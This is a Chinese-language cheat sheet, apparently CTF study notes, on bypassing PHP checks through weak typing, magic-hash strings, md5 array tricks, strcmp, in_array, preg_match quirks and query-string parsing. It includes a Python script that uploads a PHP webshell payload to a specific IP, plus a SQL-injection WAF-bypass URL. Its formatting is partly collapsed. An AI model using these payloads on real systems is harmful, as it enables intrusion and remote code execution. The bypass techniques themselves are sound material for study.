PHP短标记
<? 等价<?php<?= 等价<? echo
PHP大括号{}
用于指示字符串变量中的单个字符
$my_str="1234";$my_str{1}='5'; //现在 $my_str 内容为 '1534'
PHP类型转换
- 当一个整形和一个其他类型行比较的时候,会先把其他类型
intval再比较 - bool类型的 true 跟任意字符串可以弱类型相等 ```php var_dump(intval(‘2’)) //2 var_dump(intval(‘3abcd’)) //3 var_dump(intval(‘abcd’)) //0
var_dump(0 == ‘0’); // true var_dump(0 == ‘abcdefg’); // true var_dump(0 === ‘abcdefg’); // false var_dump(1 == ‘1abcdef’); // true
`intval()` 转换的时候,会从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的字符串, `intval()` 不会报错而是返回 0。<br />并且在php中比较大小时,遵循以下规则| **运算数1 类型** | **运算数2 类型** | **结果** || --- | --- | --- || null 或 string | string | 将 `NULL` 转换为 "",进行数字或词汇比较 || bool 或 null | 任何其它类型 | 转换为 bool,`FALSE` < `TRUE` || object | object | 内置类可以定义自己的比较,不同类不能比较,相同类和数组同样方式比较属性(PHP 4 中),PHP 5 有其自己的说明 || string,resource 或 number | string,resource 或 number | 将字符串和资源转换成数字,按普通数学比较 || array | array | 具有较少成员的数组较小,如果运算数 1 中的键不存在于运算数 2 中则数组无法比较,否则挨个值比较(见下例) || object | 任何其它类型 | object 总是更大 || array | 任何其它类型 | array 总是更大 |<a name="NqdJJ"></a>## 魔法Hash```php"0e132456789"=="0e7124511451155" //true"0e123456abc"=="0e1dddada" //false"0e1abc"=="0" //true
在进行比较运算时,如果遇到了 0e\d+ 这种字符串,就会将这种字符串解析为科学计数法。所以上面例子中 2 个数的值都是 0 因而就相等了。如果不满足 0e\d+ 这种模式就不会相等。
十六进制转换
"0x1e240"=="123456" //true"0x1e240"==123456 //true"0x1e240"=="1e240" //false
当其中的一个字符串是 0x 开头的时候,PHP 会将此字符串解析成为十进制然后再进行比较,0x1240 解析成为十进制就是 123456,所以与 int 类型和 string 类型的 123456 比较都是相等。
PHP内置函数Bypass
md5()/sha1()
数组绕过
md5 ( string $str [, bool $raw_output = FALSE ] ) : string
md5()函数需要一个string类型的参数,但假如传递一个array类型的参数,md5依旧可以执行,不会报错
$array1[] = array("foo" => "bar","bar" => "foo",);$array2 = array("foo", "bar", "hello", "world");var_dump(md5($array1)==md5($array2)); //true
科学计数法绕过
byGcY0e591948146966052067035298880982QNKCDZO0e830400451993494058024219903391s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514
md5碰撞
使用工具fastcoll.exe来生成两个md5值相同,但文件内容不相同的文件。
switch()
如果 switch() 是数字类型的 case 的判断时,switch 会将其中的参数转换为 int 类型。如下:
$i ="2abc";switch ($i) {case 0:case 1:case 2:echo "i is less than 3 but not negative";break;case 3:echo "i is 3";}
这个时候程序输出的是 i is less than 3 but not negative ,是由于 switch() 函数将 $i 进行了类型转换,转换结果为 2。
in_array()
在 PHP 手册中, in_array() 函数的解释是 bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] ) , 如果 strict 参数没有提供,那么 in_array 就会使用松散比较来判断 $needle 是否在 $haystack 中。当 strict 的值为 true 时, in_array() 会比较 needls 的类型和 haystack 中的类型是否相同。
$array=[0,1,2,'3'];var_dump(in_array('abc', $array)); //truevar_dump(in_array('1bc', $array)); //true
可以看到上面的情况返回的都是 true,因为 'abc' 会转换为 0, '1bc' 转换为 1。array_search() 与 in_array() 也是一样的问题。
ereg()/eregi()
ereg() 函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。大小写敏感。
- 数组绕过
preg_match只能处理字符串,当传入的subject是数组时会返回false
- pcre回溯次数限制
pcre.backtrack_limit给pcre设定了一个回溯次数上限,默认为1000000,如果回溯次数超过这个数字,preg_match会返回false
import requestsfrom io import BytesIOfiles = {'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)}res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False)print(res.headers)
- 换行符
.不会匹配换行符,如
if (preg_match('/^.*(flag).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';}
只需要
$json="\nflag"
而在非多行模式下,$似乎会忽略在句尾的%0a
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {echo $flag;}
只需要传入
?a=flag%0a
strcmp
传入的期望类型是字符串类型的数据 ,但是这个函数当接受到不符合字符串类型的参数就会发生错误,并返回0
所以当传入的参数为数组时,报错并返回0,0==0成立。
PHP字符串解析特性
PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => "bar")。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0--
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符2.将某些字符转换为下划线(包括空格)
| User input | Decoded PHP | variable name |
|---|---|---|
| %20foo_bar%00 | foo_bar | foo_bar |
| foo%20bar%00 | foo bar | foo_bar |
| foo%5bbar | foo[bar | foo_bar |
strtoupper漏洞
某些字符经过strtoupper处理后,会等价普通字符
参考:https://blog.rubiya.kr/index.php/2018/11/29/strtoupper/%C4%B1等价I
%E2%84%AA等价K
%C5%BF等价S
%C4%B0等价i
